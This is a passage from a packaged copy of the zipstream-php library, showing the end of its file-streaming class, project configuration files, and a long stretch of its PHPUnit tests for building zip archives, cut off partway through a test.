$this->crc, compressedSize: $this->compressedSize, uncompressedSize: $this->uncompressedSize, ); } ($this->send)($footer); } private function readStream(bool $send): void { $this->compressedSize = 0; $this->uncompressedSize = 0; $hash = hash_init('crc32b'); $deflate = $this->compressionInit(); while ( !feof($this->unpackStream()) && ($this->maxSize === null || $this->uncompressedSize < $this->maxSize) && ($this->exactSize === null || $this->uncompressedSize < $this->exactSize) ) { $readLength = min( ($this->maxSize ?? PHP_INT_MAX) - $this->uncompressedSize, ($this->exactSize ?? PHP_INT_MAX) - $this->uncompressedSize, self::CHUNKED_READ_BLOCK_SIZE ); $data = fread($this->unpackStream(), $readLength); hash_update($hash, $data); $this->uncompressedSize += strlen($data); if ($deflate) { $data = deflate_add( $deflate, $data, feof($this->unpackStream()) ? ZLIB_FINISH : ZLIB_NO_FLUSH ); } $this->compressedSize += strlen($data); if ($send) { ($this->send)($data); } } if ($this->exactSize && $this->uncompressedSize !== $this->exactSize) { throw new FileSizeIncorrectException(expectedSize: $this->exactSize, actualSize: $this->uncompressedSize); } $this->crc = hexdec(hash_final($hash)); } private function compressionInit(): ?DeflateContext { switch($this->compressionMethod) { case CompressionMethod::STORE: // Noting to do return null; case CompressionMethod::DEFLATE: $deflateContext = deflate_init( ZLIB_ENCODING_RAW, ['level' => $this->deflateLevel] ); if (!$deflateContext) { // @codeCoverageIgnoreStart throw new RuntimeException("Can't initialize deflate context."); // @codeCoverageIgnoreEnd } // False positive, resource is no longer returned from this function return $deflateContext; default: // @codeCoverageIgnoreStart throw new RuntimeException('Unsupported Compression Method ' . print_r($this->compressionMethod, true)); // @codeCoverageIgnoreEnd } } private function getCdrFile(): string { $footer = $this->buildZip64ExtraBlock(); return CentralDirectoryFileHeader::generate( versionMadeBy: ZipStream::ZIP_VERSION_MADE_BY, versionNeededToExtract:$this->version->value, generalPurposeBitFlag: $this->generalPurposeBitFlag, compressionMethod: $this->compressionMethod, lastModificationDateTime: $this->lastModificationDateTime, crc32: $this->crc, compressedSize: $this->compressedSize > 0xFFFFFFFF ? 0xFFFFFFFF : $this->compressedSize, uncompressedSize: $this->uncompressedSize > 0xFFFFFFFF ? 0xFFFFFFFF : $this->uncompressedSize, fileName: $this->fileName, extraField: $footer, fileComment: $this->comment, diskNumberStart: 0, internalFileAttributes: 0, externalFileAttributes: 32, relativeOffsetOfLocalHeader: $this->startOffset > 0xFFFFFFFF ? 0xFFFFFFFF : $this->startOffset, ); } private function isSimulation(): bool { return $this->operationMode === OperationMode::SIMULATE_LAX || $this->operationMode === OperationMode::SIMULATE_STRICT; } } maennchen/zipstream-php/src/Version.php000064400000000262151676714400014243 0ustar00<?php declare(strict_types=1); namespace ZipStream; enum Version: int { case STORE = 0x000A; // 1.00 case DEFLATE = 0x0014; // 2.00 case ZIP64 = 0x002D; // 4.50 } maennchen/zipstream-php/.phive/phars.xml000064400000000306151676714400014345 0ustar00<?xml version="1.0" encoding="UTF-8"?> <phive xmlns="https://phar.io/phive"> <phar name="phpdocumentor" version="^3.3.1" installed="3.3.1" location="./tools/phpdocumentor" copy="false"/> </phive> maennchen/zipstream-php/composer.json000064400000004452151676714400014045 0ustar00{ "name": "maennchen/zipstream-php", "description": "ZipStream is a library for dynamically streaming dynamic zip files from PHP without writing to the disk at all on the server.", "keywords": ["zip", "stream"], "type": "library", "license": "MIT", "authors": [{ "name": "Paul Duncan", "email": "pabs@pablotron.org" }, { "name": "Jonatan Männchen", "email": "jonatan@maennchen.ch" }, { "name": "Jesse Donat", "email": "donatj@gmail.com" }, { "name": "András Kolesár", "email": "kolesar@kolesar.hu" } ], "require": { "php-64bit": "^8.1", "ext-mbstring": "*", "ext-zlib": "*" }, "require-dev": { "phpunit/phpunit": "^10.0", "guzzlehttp/guzzle": "^7.5", "ext-zip": "*", "mikey179/vfsstream": "^1.6", "php-coveralls/php-coveralls": "^2.5", "friendsofphp/php-cs-fixer": "^3.16", "vimeo/psalm": "^5.0" }, "suggest": { "psr/http-message": "^2.0", "guzzlehttp/psr7": "^2.4" }, "scripts": { "format": "php-cs-fixer fix", "test": [ "@test:unit", "@test:formatted", "@test:lint" ], "test:unit": "phpunit --coverage-clover=coverage.clover.xml --coverage-html cov", "test:unit:slow": "@test:unit --group slow", "test:unit:fast": "@test:unit --exclude-group slow", "test:formatted": "@format --dry-run --stop-on-violation --using-cache=no", "test:lint": "psalm --stats --show-info=true --find-unused-psalm-suppress", "coverage:report": "php-coveralls --coverage_clover=coverage.clover.xml --json_path=coveralls-upload.json --insecure", "install:tools": "phive install --trust-gpg-keys 0x67F861C3D889C656", "docs:generate": "tools/phpdocumentor --sourcecode" }, "autoload": { "psr-4": { "ZipStream\\": "src/" } }, "autoload-dev": { "psr-4": { "ZipStream\\Test\\": "test/" } }, "archive": { "exclude": [ "/composer.lock", "/docs", "/.gitattributes", "/.github", "/.gitignore", "/guides", "/.phive", "/.php-cs-fixer.cache", "/.php-cs-fixer.dist.php", "/.phpdoc", "/phpdoc.dist.xml", "/.phpunit.result.cache", "/phpunit.xml.dist", "/psalm.xml", "/test", "/tools", "/.tool-versions", "/vendor" ] } } maennchen/zipstream-php/phpdoc.dist.xml000064400000002412151676714400014256 0ustar00<?xml version="1.0" encoding="UTF-8" ?> <phpdocumentor configVersion="3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://www.phpdoc.org" xsi:noNamespaceSchemaLocation="https://raw.githubusercontent.com/phpDocumentor/phpDocumentor/master/data/xsd/phpdoc.xsd" > <title>💾 ZipStream-PHP</title> <paths> <output>docs</output> </paths> <version number="3.0.0"> <folder>latest</folder> <api> <source dsn="."> <path>src</path> </source> <output>api</output> <ignore hidden="true" symlinks="true"> <path>tests/**/*</path> <path>vendor/**/*</path> </ignore> <extensions> <extension>php</extension> </extensions> <visibility>public</visibility> <default-package-name>ZipStream</default-package-name> <include-source>true</include-source> </api> <guide> <source dsn="."> <path>guides</path> </source> <output>guide</output> </guide> </version> <setting name="guides.enabled" value="true"/> <template name="default" /> </phpdocumentor>maennchen/zipstream-php/.editorconfig000064400000000445151676714400013776 0ustar00root = true [*] end_of_line = lf insert_final_newline = true charset = utf-8 [*.{yml,md,xml}] indent_style = space indent_size = 2 [*.{rst,php}] indent_style = space indent_size = 4 [composer.json] indent_style = space indent_size = 2 [composer.lock] indent_style = space indent_size = 4 maennchen/zipstream-php/phpunit.xml.dist000064400000000736151676714400014477 0ustar00<?xml version="1.0"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" bootstrap="test/bootstrap.php" xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/10.1/phpunit.xsd" cacheDirectory=".phpunit.cache"> <coverage/> <testsuites> <testsuite name="Application"> <directory>test</directory> </testsuite> </testsuites> <logging/> <source> <include> <directory suffix=".php">src</directory> </include> </source> </phpunit> maennchen/zipstream-php/test/ZipStreamTest.php000064400000114654151676714400015577 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use DateTimeImmutable; use GuzzleHttp\Psr7\Response; use GuzzleHttp\Psr7\StreamWrapper; use org\bovigo\vfs\vfsStream; use PHPUnit\Framework\TestCase; use Psr\Http\Message\StreamInterface; use RuntimeException; use ZipArchive; use ZipStream\CompressionMethod; use ZipStream\Exception\FileNotFoundException; use ZipStream\Exception\FileNotReadableException; use ZipStream\Exception\FileSizeIncorrectException; use ZipStream\Exception\OverflowException; use ZipStream\Exception\ResourceActionException; use ZipStream\Exception\SimulationFileUnknownException; use ZipStream\Exception\StreamNotReadableException; use ZipStream\Exception\StreamNotSeekableException; use ZipStream\OperationMode; use ZipStream\PackField; use ZipStream\ZipStream; class ZipStreamTest extends TestCase { use Util; use Assertions; public function testAddFile(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $zip->addFile('sample.txt', 'Sample String Data'); $zip->addFile('test/sample.txt', 'More Simple Sample Data'); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.txt', 'test' . DIRECTORY_SEPARATOR . 'sample.txt'], $files); $this->assertStringEqualsFile($tmpDir . '/sample.txt', 'Sample String Data'); $this->assertStringEqualsFile($tmpDir . '/test/sample.txt', 'More Simple Sample Data'); } public function testAddFileUtf8NameComment(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $name = 'árvíztűrő tükörfúrógép.txt'; $content = 'Sample String Data'; $comment = 'Filename has every special characters ' . 'from Hungarian language in lowercase. ' . 'In uppercase: ÁÍŰŐÜÖÚÓÉ'; $zip->addFile(fileName: $name, data: $content, comment: $comment); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame([$name], $files); $this->assertStringEqualsFile($tmpDir . '/' . $name, $content); $zipArchive = new ZipArchive(); $zipArchive->open($tmp); $this->assertSame($comment, $zipArchive->getCommentName($name)); } public function testAddFileUtf8NameNonUtfComment(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $name = 'á.txt'; $content = 'any'; $comment = mb_convert_encoding('á', 'ISO-8859-2', 'UTF-8'); // @see https://libzip.org/documentation/zip_file_get_comment.html // // mb_convert_encoding hasn't CP437. // nearly CP850 (DOS-Latin-1) $guessComment = mb_convert_encoding($comment, 'UTF-8', 'CP850'); $zip->addFile(fileName: $name, data: $content, comment: $comment); $zip->finish(); fclose($stream); $zipArch = new ZipArchive(); $zipArch->open($tmp); $this->assertSame($guessComment, $zipArch->getCommentName($name)); $this->assertSame($comment, $zipArch->getCommentName($name, ZipArchive::FL_ENC_RAW)); } public function testAddFileWithStorageMethod(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $zip->addFile(fileName: 'sample.txt', data: 'Sample String Data', compressionMethod: CompressionMethod::STORE); $zip->addFile(fileName: 'test/sample.txt', data: 'More Simple Sample Data'); $zip->finish(); fclose($stream); $zipArchive = new ZipArchive(); $zipArchive->open($tmp); $sample1 = $zipArchive->statName('sample.txt'); $sample12 = $zipArchive->statName('test/sample.txt'); $this->assertSame($sample1['comp_method'], CompressionMethod::STORE->value); $this->assertSame($sample12['comp_method'], CompressionMethod::DEFLATE->value); $zipArchive->close(); } public function testAddFileFromPath(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); [$tmpExample, $streamExample] = $this->getTmpFileStream(); fwrite($streamExample, 'Sample String Data'); fclose($streamExample); $zip->addFileFromPath(fileName: 'sample.txt', path: $tmpExample); [$tmpExample, $streamExample] = $this->getTmpFileStream(); fwrite($streamExample, 'More Simple Sample Data'); fclose($streamExample); $zip->addFileFromPath(fileName: 'test/sample.txt', path: $tmpExample); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.txt', 'test' . DIRECTORY_SEPARATOR . 'sample.txt'], $files); $this->assertStringEqualsFile($tmpDir . '/sample.txt', 'Sample String Data'); $this->assertStringEqualsFile($tmpDir . '/test/sample.txt', 'More Simple Sample Data'); } public function testAddFileFromPathFileNotFoundException(): void { $this->expectException(FileNotFoundException::class); [, $stream] = $this->getTmpFileStream(); // Get ZipStream Object $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); // Trigger error by adding a file which doesn't exist $zip->addFileFromPath(fileName: 'foobar.php', path: '/foo/bar/foobar.php'); } public function testAddFileFromPathFileNotReadableException(): void { $this->expectException(FileNotReadableException::class); [, $stream] = $this->getTmpFileStream(); // create new virtual filesystem $root = vfsStream::setup('vfs'); // create a virtual file with no permissions $file = vfsStream::newFile('foo.txt', 0)->at($root)->setContent('bar'); // Get ZipStream Object $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $zip->addFileFromPath('foo.txt', $file->url()); } public function testAddFileFromPathWithStorageMethod(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); [$tmpExample, $streamExample] = $this->getTmpFileStream(); fwrite($streamExample, 'Sample String Data'); fclose($streamExample); $zip->addFileFromPath(fileName: 'sample.txt', path: $tmpExample, compressionMethod: CompressionMethod::STORE); [$tmpExample, $streamExample] = $this->getTmpFileStream(); fwrite($streamExample, 'More Simple Sample Data'); fclose($streamExample); $zip->addFileFromPath('test/sample.txt', $tmpExample); $zip->finish(); fclose($stream); $zipArchive = new ZipArchive(); $zipArchive->open($tmp); $sample1 = $zipArchive->statName('sample.txt'); $this->assertSame(CompressionMethod::STORE->value, $sample1['comp_method']); $sample2 = $zipArchive->statName('test/sample.txt'); $this->assertSame(CompressionMethod::DEFLATE->value, $sample2['comp_method']); $zipArchive->close(); } public function testAddLargeFileFromPath(): void { foreach ([CompressionMethod::DEFLATE, CompressionMethod::STORE] as $compressionMethod) { foreach ([false, true] as $zeroHeader) { foreach ([false, true] as $zip64) { if ($zeroHeader && $compressionMethod === CompressionMethod::DEFLATE) { continue; } $this->addLargeFileFileFromPath( compressionMethod: $compressionMethod, zeroHeader: $zeroHeader, zip64: $zip64 ); } } } } public function testAddFileFromStream(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); // In this test we can't use temporary stream to feed data // because zlib.deflate filter gives empty string before PHP 7 // it works fine with file stream $streamExample = fopen(__FILE__, 'rb'); $zip->addFileFromStream('sample.txt', $streamExample); fclose($streamExample); $streamExample2 = fopen('php://temp', 'wb+'); fwrite($streamExample2, 'More Simple Sample Data'); rewind($streamExample2); // move the pointer back to the beginning of file. $zip->addFileFromStream('test/sample.txt', $streamExample2); //, $fileOptions); fclose($streamExample2); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.txt', 'test' . DIRECTORY_SEPARATOR . 'sample.txt'], $files); $this->assertStringEqualsFile(__FILE__, file_get_contents($tmpDir . '/sample.txt')); $this->assertStringEqualsFile($tmpDir . '/test/sample.txt', 'More Simple Sample Data'); } public function testAddFileFromStreamUnreadableInput(): void { $this->expectException(StreamNotReadableException::class); [, $stream] = $this->getTmpFileStream(); [$tmpInput] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $streamUnreadable = fopen($tmpInput, 'w'); $zip->addFileFromStream('sample.json', $streamUnreadable); } public function testAddFileFromStreamBrokenOutputWrite(): void { $this->expectException(ResourceActionException::class); $outputStream = FaultInjectionResource::getResource(['stream_write']); $zip = new ZipStream( outputStream: $outputStream, sendHttpHeaders: false, ); $zip->addFile('sample.txt', 'foobar'); } public function testAddFileFromStreamBrokenInputRewind(): void { $this->expectException(ResourceActionException::class); [,$stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, defaultEnableZeroHeader: false, ); $fileStream = FaultInjectionResource::getResource(['stream_seek']); $zip->addFileFromStream('sample.txt', $fileStream, maxSize: 0); } public function testAddFileFromStreamUnseekableInputWithoutZeroHeader(): void { $this->expectException(StreamNotSeekableException::class); [, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, defaultEnableZeroHeader: false, ); if (file_exists('/dev/null')) { $streamUnseekable = fopen('/dev/null', 'w+'); } elseif (file_exists('NUL')) { $streamUnseekable = fopen('NUL', 'w+'); } else { $this->markTestSkipped('Needs file /dev/null'); } $zip->addFileFromStream('sample.txt', $streamUnseekable, maxSize: 2); } public function testAddFileFromStreamUnseekableInputWithZeroHeader(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, defaultEnableZeroHeader: true, defaultCompressionMethod: CompressionMethod::STORE, ); $streamUnseekable = StreamWrapper::getResource(new class ('test') extends EndlessCycleStream { public function isSeekable(): bool { return false; } public function seek(int $offset, int $whence = SEEK_SET): void { throw new RuntimeException('Not seekable'); } }); $zip->addFileFromStream('sample.txt', $streamUnseekable, maxSize: 7); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.txt'], $files); $this->assertSame(filesize($tmpDir . '/sample.txt'), 7); } public function testAddFileFromStreamWithStorageMethod(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $streamExample = fopen('php://temp', 'wb+'); fwrite($streamExample, 'Sample String Data'); rewind($streamExample); // move the pointer back to the beginning of file. $zip->addFileFromStream('sample.txt', $streamExample, compressionMethod: CompressionMethod::STORE); fclose($streamExample); $streamExample2 = fopen('php://temp', 'bw+'); fwrite($streamExample2, 'More Simple Sample Data'); rewind($streamExample2); // move the pointer back to the beginning of file. $zip->addFileFromStream('test/sample.txt', $streamExample2, compressionMethod: CompressionMethod::DEFLATE); fclose($streamExample2); $zip->finish(); fclose($stream); $zipArchive = new ZipArchive(); $zipArchive->open($tmp); $sample1 = $zipArchive->statName('sample.txt'); $this->assertSame(CompressionMethod::STORE->value, $sample1['comp_method']); $sample2 = $zipArchive->statName('test/sample.txt'); $this->assertSame(CompressionMethod::DEFLATE->value, $sample2['comp_method']); $zipArchive->close(); } public function testAddFileFromPsr7Stream(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $body = 'Sample String Data'; $response = new Response(200, [], $body); $zip->addFileFromPsr7Stream('sample.json', $response->getBody()); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.json'], $files); $this->assertStringEqualsFile($tmpDir . '/sample.json', $body); } /** * @group slow */ public function testAddLargeFileFromPsr7Stream(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: true, ); $zip->addFileFromPsr7Stream( fileName: 'sample.json', stream: new EndlessCycleStream('0'), maxSize: 0x100000000, compressionMethod: CompressionMethod::STORE, lastModificationDateTime: new DateTimeImmutable('2022-01-01 01:01:01Z'), ); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.json'], $files); $this->assertFileIsReadable($tmpDir . '/sample.json'); $this->assertStringStartsWith('000000', file_get_contents(filename: $tmpDir . '/sample.json', length: 20)); } public function testContinueFinishedZip(): void { $this->expectException(RuntimeException::class); [, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $zip->finish(); $zip->addFile('sample.txt', '1234'); } /** * @group slow */ public function testManyFilesWithoutZip64(): void { $this->expectException(OverflowException::class); [, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: false, ); for ($i = 0; $i <= 0xFFFF; $i++) { $zip->addFile('sample' . $i, ''); } $zip->finish(); } /** * @group slow */ public function testManyFilesWithZip64(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: true, ); for ($i = 0; $i <= 0xFFFF; $i++) { $zip->addFile('sample' . $i, ''); } $zip->finish(); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(count($files), 0x10000); } /** * @group slow */ public function testLongZipWithout64(): void { $this->expectException(OverflowException::class); [, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: false, defaultCompressionMethod: CompressionMethod::STORE, ); for ($i = 0; $i < 4; $i++) { $zip->addFileFromPsr7Stream( fileName: 'sample' . $i, stream: new EndlessCycleStream('0'), maxSize: 0xFFFFFFFF, compressionMethod: CompressionMethod::STORE, lastModificationDateTime: new DateTimeImmutable('2022-01-01 01:01:01Z'), ); } } /** * @group slow */ public function testLongZipWith64(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: true, defaultCompressionMethod: CompressionMethod::STORE, ); for ($i = 0; $i < 4; $i++) { $zip->addFileFromPsr7Stream( fileName: 'sample' . $i, stream: new EndlessCycleStream('0'), maxSize: 0x5FFFFFFF, compressionMethod: CompressionMethod::STORE, lastModificationDateTime: new DateTimeImmutable('2022-01-01 01:01:01Z'), ); } $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample0', 'sample1', 'sample2', 'sample3'], $files); } /** * @group slow */ public function testAddLargeFileWithoutZip64WithZeroHeader(): void { $this->expectException(OverflowException::class); [, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: false, defaultEnableZeroHeader: true, ); $zip->addFileFromPsr7Stream( fileName: 'sample.json', stream: new EndlessCycleStream('0'), maxSize: 0x100000000, compressionMethod: CompressionMethod::STORE, lastModificationDateTime: new DateTimeImmutable('2022-01-01 01:01:01Z'), ); } /** * @group slow */ public function testAddsZip64HeaderWhenNeeded(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: true, defaultEnableZeroHeader: false, ); $zip->addFileFromPsr7Stream( fileName: 'sample.json', stream: new EndlessCycleStream('0'), maxSize: 0x100000000, compressionMethod: CompressionMethod::STORE, lastModificationDateTime: new DateTimeImmutable('2022-01-01 01:01:01Z'), ); $zip->finish(); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.json'], $files); $this->assertFileContains($tmp, PackField::pack( new PackField(format: 'V', value: 0x06064b50) )); } /** * @group slow */ public function testDoesNotAddZip64HeaderWhenNotNeeded(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: true, defaultEnableZeroHeader: false, ); $zip->addFileFromPsr7Stream( fileName: 'sample.json', stream: new EndlessCycleStream('0'), maxSize: 0x10, compressionMethod: CompressionMethod::STORE, lastModificationDateTime: new DateTimeImmutable('2022-01-01 01:01:01Z'), ); $zip->finish(); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.json'], $files); $this->assertFileDoesNotContain($tmp, PackField::pack( new PackField(format: 'V', value: 0x06064b50) )); } /** * @group slow */ public function testAddLargeFileWithoutZip64WithoutZeroHeader(): void { $this->expectException(OverflowException::class); [, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, enableZip64: false, defaultEnableZeroHeader: false, ); $zip->addFileFromPsr7Stream( fileName: 'sample.json', stream: new EndlessCycleStream('0'), maxSize: 0x100000000, compressionMethod: CompressionMethod::STORE, lastModificationDateTime: new DateTimeImmutable('2022-01-01 01:01:01Z'), ); } public function testAddFileFromPsr7StreamWithOutputToPsr7Stream(): void { [$tmp, $resource] = $this->getTmpFileStream(); $psr7OutputStream = new ResourceStream($resource); $zip = new ZipStream( outputStream: $psr7OutputStream, sendHttpHeaders: false, ); $body = 'Sample String Data'; $response = new Response(200, [], $body); $zip->addFileFromPsr7Stream( fileName: 'sample.json', stream: $response->getBody(), compressionMethod: CompressionMethod::STORE, ); $zip->finish(); $psr7OutputStream->close(); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.json'], $files); $this->assertStringEqualsFile($tmpDir . '/sample.json', $body); } public function testAddFileFromPsr7StreamWithFileSizeSet(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $body = 'Sample String Data'; $fileSize = strlen($body); // Add fake padding $fakePadding = "\0\0\0\0\0\0"; $response = new Response(200, [], $body . $fakePadding); $zip->addFileFromPsr7Stream( fileName: 'sample.json', stream: $response->getBody(), compressionMethod: CompressionMethod::STORE, maxSize: $fileSize ); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.json'], $files); $this->assertStringEqualsFile($tmpDir . '/sample.json', $body); } public function testCreateArchiveHeaders(): void { [, $stream] = $this->getTmpFileStream(); $headers = []; $httpHeaderCallback = function (string $header) use (&$headers) { $headers[] = $header; }; $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: true, outputName: 'example.zip', httpHeaderCallback: $httpHeaderCallback, ); $zip->addFile( fileName: 'sample.json', data: 'foo', ); $zip->finish(); fclose($stream); $this->assertContains('Content-Type: application/x-zip', $headers); $this->assertContains("Content-Disposition: attachment; filename*=UTF-8''example.zip", $headers); $this->assertContains('Pragma: public', $headers); $this->assertContains('Cache-Control: public, must-revalidate', $headers); $this->assertContains('Content-Transfer-Encoding: binary', $headers); } public function testCreateArchiveWithFlushOptionSet(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, flushOutput: true, sendHttpHeaders: false, ); $zip->addFile('sample.txt', 'Sample String Data'); $zip->addFile('test/sample.txt', 'More Simple Sample Data'); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.txt', 'test' . DIRECTORY_SEPARATOR . 'sample.txt'], $files); $this->assertStringEqualsFile($tmpDir . '/sample.txt', 'Sample String Data'); $this->assertStringEqualsFile($tmpDir . '/test/sample.txt', 'More Simple Sample Data'); } public function testCreateArchiveWithOutputBufferingOffAndFlushOptionSet(): void { // WORKAROUND (1/2): remove phpunit's output buffer in order to run test without any buffering ob_end_flush(); $this->assertSame(0, ob_get_level()); [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, flushOutput: true, sendHttpHeaders: false, ); $zip->addFile('sample.txt', 'Sample String Data'); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $this->assertStringEqualsFile($tmpDir . '/sample.txt', 'Sample String Data'); // WORKAROUND (2/2): add back output buffering so that PHPUnit doesn't complain that it is missing ob_start(); } public function testAddEmptyDirectory(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, ); $zip->addDirectory('foo'); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir, includeDirectories: true); $this->assertContains('foo', $files); $this->assertFileExists($tmpDir . DIRECTORY_SEPARATOR . 'foo'); $this->assertDirectoryExists($tmpDir . DIRECTORY_SEPARATOR . 'foo'); } public function testAddFileSimulate(): void { [, $stream] = $this->getTmpFileStream(); $create = function (OperationMode $operationMode) use ($stream): int { $zip = new ZipStream( sendHttpHeaders: false, operationMode: $operationMode, defaultEnableZeroHeader: true, outputStream: $stream, ); $zip->addFile('sample.txt', 'Sample String Data'); $zip->addFile('test/sample.txt', 'More Simple Sample Data'); return $zip->finish(); }; $sizeExpected = $create(OperationMode::NORMAL); $sizeActual = $create(OperationMode::SIMULATE_LAX); $this->assertEquals($sizeExpected, $sizeActual); } public function testAddFileSimulateWithMaxSize(): void { [, $stream] = $this->getTmpFileStream(); $create = function (OperationMode $operationMode) use ($stream): int { $zip = new ZipStream( sendHttpHeaders: false, operationMode: $operationMode, defaultCompressionMethod: CompressionMethod::STORE, defaultEnableZeroHeader: true, outputStream: $stream, ); $zip->addFile('sample.txt', 'Sample String Data', maxSize: 0); return $zip->finish(); }; $sizeExpected = $create(OperationMode::NORMAL); $sizeActual = $create(OperationMode::SIMULATE_LAX); $this->assertEquals($sizeExpected, $sizeActual); } public function testAddFileSimulateWithFstat(): void { [, $stream] = $this->getTmpFileStream(); $create = function (OperationMode $operationMode) use ($stream): int { $zip = new ZipStream( sendHttpHeaders: false, operationMode: $operationMode, defaultCompressionMethod: CompressionMethod::STORE, defaultEnableZeroHeader: true, outputStream: $stream, ); $zip->addFile('sample.txt', 'Sample String Data'); $zip->addFile('test/sample.txt', 'More Simple Sample Data'); return $zip->finish(); }; $sizeExpected = $create(OperationMode::NORMAL); $sizeActual = $create(OperationMode::SIMULATE_LAX); $this->assertEquals($sizeExpected, $sizeActual); } public function testAddFileSimulateWithExactSizeZero(): void { [, $stream] = $this->getTmpFileStream(); $create = function (OperationMode $operationMode) use ($stream): int { $zip = new ZipStream( sendHttpHeaders: false, operationMode: $operationMode, defaultCompressionMethod: CompressionMethod::STORE, defaultEnableZeroHeader: true, outputStream: $stream, ); $zip->addFile('sample.txt', 'Sample String Data', exactSize: 18); return $zip->finish(); }; $sizeExpected = $create(OperationMode::NORMAL); $sizeActual = $create(OperationMode::SIMULATE_LAX); $this->assertEquals($sizeExpected, $sizeActual); } public function testAddFileSimulateWithExactSizeInitial(): void { [, $stream] = $this->getTmpFileStream(); $create = function (OperationMode $operationMode) use ($stream): int { $zip = new ZipStream( sendHttpHeaders: false, operationMode: $operationMode, defaultCompressionMethod: CompressionMethod::STORE, defaultEnableZeroHeader: false, outputStream: $stream, ); $zip->addFile('sample.txt', 'Sample String Data', exactSize: 18); return $zip->finish(); }; $sizeExpected = $create(OperationMode::NORMAL); $sizeActual = $create(OperationMode::SIMULATE_LAX); $this->assertEquals($sizeExpected, $sizeActual); } public function testAddFileSimulateWithZeroSizeInFstat(): void { [, $stream] = 